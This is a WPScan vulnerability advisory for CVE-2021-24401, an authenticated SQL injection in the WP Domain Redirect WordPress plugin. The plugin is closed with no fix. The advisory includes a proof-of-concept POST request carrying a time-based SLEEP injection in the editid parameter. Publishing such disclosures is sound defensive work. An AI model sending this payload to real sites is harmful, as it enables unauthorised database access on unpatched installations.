WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WP Domain Redirect <= 1.0 - Authenticated SQL Injection

Description

The Edit domain functionality in the plugin has an `editid` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. 

Proof of Concept

POST /wp-admin/admin.php?page=add&action=edit&id=1 HTTP/1.1
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

country_id=6&editid=1%20AND%20(SELECT%201167%20FROM%20(SELECT(SLEEP(10)))xkwI)&domain_name=lol.com&update=Update
 

Affects Plugins

wp-domain-redirect
No known fix - plugin closed

References

CVE
CVE-2021-24401
URL
https://codevigilant.com/disclosure/2021/wp-plugins-domain-redirect/

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID
f9ae34a9-84c9-4d48-af6a-9e6c786f856e

Timeline

Publicly Published

2021-08-22 (about 9 months ago)

Added

2021-08-23 (about 9 months ago)

Last Updated

2022-04-09 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us